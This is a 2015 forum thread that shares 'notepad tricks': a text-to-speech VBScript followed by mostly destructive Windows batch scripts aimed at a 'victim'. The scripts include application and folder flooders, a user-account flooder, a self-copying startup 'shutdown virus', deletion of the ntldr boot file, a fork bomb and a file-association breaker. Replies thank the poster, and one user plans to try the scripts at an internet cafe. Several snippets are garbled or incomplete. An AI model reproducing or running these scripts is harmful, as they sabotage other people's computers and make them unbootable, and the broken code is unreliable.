1. Welcome to PHCorner Forums. Take a moment to Sign up and gain unlimited access and extra privileges that guests are not entitled to, such as:

    All that and more! Registration is quick, simple and absolutely free. Join our community today!

Cool and awesome notepad tricks

Discussion in 'Coding, Programming' started by Marchesa, Oct 7, 2015.

  1. Let's learn some cool and awesome notepad tricks which you can enjoy

    1)To make your pc talk

    Open a text file in notepad and write:

    Dim msg, sapi
    msg=InputBox("Enter your text","Talk it")
    Set sapi=CreateObject("sapi.spvoice")
    sapi.Speak msg

    Save the file with a (*.vbs) extension, it will create a VBScript File.

    It will prompt you for a text when u open the file, input the text and press ok."
    u will hear now what u typed..

    2)Popping CD Drives

    This will make the CD drives constantly pop out

    Set oWMP = CreateObject(”WMPlayer.OCX.7″)
    Set colCDROMs = oWMP.cdromCollection
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count – 1
    For i = 0 to colCDROMs.Count – 1
    End If
    wscript.sleep 100

    3)Endless Notepads

    This will pop up endless notepads until the computer freezes and crashes

    echo off
    START %SystemRoot%\system32\notepad.exe
    GOTO top
    Application Bomber
    echo off //

    It instructs to hide the commands when batch files is executed

    :x //loop variable
    start winword
    start mspaint //open paint
    start notepad
    start write
    start cmd //open command prompt
    start explorer
    start control
    start calc // open calculator
    goto x // infinite loop

    This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance.

    3) Folder flooder

    echo off
    md %random% // makes directory/folder.
    goto x

    Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.

    4) User account flooder

    echo off
    net user %random% /add //create user account
    goto x

    This code would start creating windows user accounts whose names could be any random numbers.

    5) Shutdown Virus

    copy anything.bat “C:\Documents and Settings\Administrator\Start Menu\Programs\Startup”
    copy anything.bat “C:\Documents and Settings\All Users\Start Menu\Programs\Startup” //these two commands will copy the batchfile in start up folders (in XP)
    shutdown -s -t 00 //this will shutdown the computer in 0 seconds

    Note : Files in Start up folder gets started automatically when windows starts .
    You should first two lines of code in every virus code so that it would copy itself in startup folder.
    Start up folder path in Windows 7 is C:\Users\sys\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

    Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately.
    You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.

    6) Deleting boot files

    Goto C drive in Win XP , Tools->Folder Option->View
    Now Uncheck the option 'Hide operating system files' and check option 'Show hidden files and folders'. Click apply

    Now you can see the operating system files. There is a one file 'ntldr' which is boot loader used to boot the windows.

    Lets make a batch file to
    delete this file from victim's computer and the windows will not start then.

    attrib -S -R -H C:\ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
    del ntldr //delete ntldr file

    After running this batch file , system will not reboot and a normal victim would definitely install the windows again.

    7) Fork Bomb

    %0|%0 //Its percentage zero pipe percentage zero

    This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .

    8) Extension Changer

    echo off
    assoc .txt=anything // this command associates extension .txt with filetype anything.
    assoc .exe=anything
    assoc .jpeg=anything
    assoc .png=anything
    assoc .mpeg=anything

    Every extension is associated with a filetype like extension ‘exe’ is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.

    Above code changes the association of some extensions to filetype ‘anyth

    Save the file and run it at your own risk.
  2. (y) Thanks for Sharing
  3. nice to ha ma try nga sa net cafe
  4. Too bad.... i wanna try but i dont know how to change the *.vbs file, hahahaha
  5. salamat ts ayos ito!!!
  6. ayos to slamat sa pag share.. pero hinde ko magawa ang iba.. but anyway it help a lot thank you..
  7. thanks
    sana marami pang ganito..
    yung sa pc talk pwede din yung gawing pang welcome pag start na computer
  8. zoneraider

    zoneraider Enthusiast Established

  9. EARZE

    EARZE PHC Contributor Established

    Thanks for sharing boss.. (y)
Tags / Keywords:

Share This Page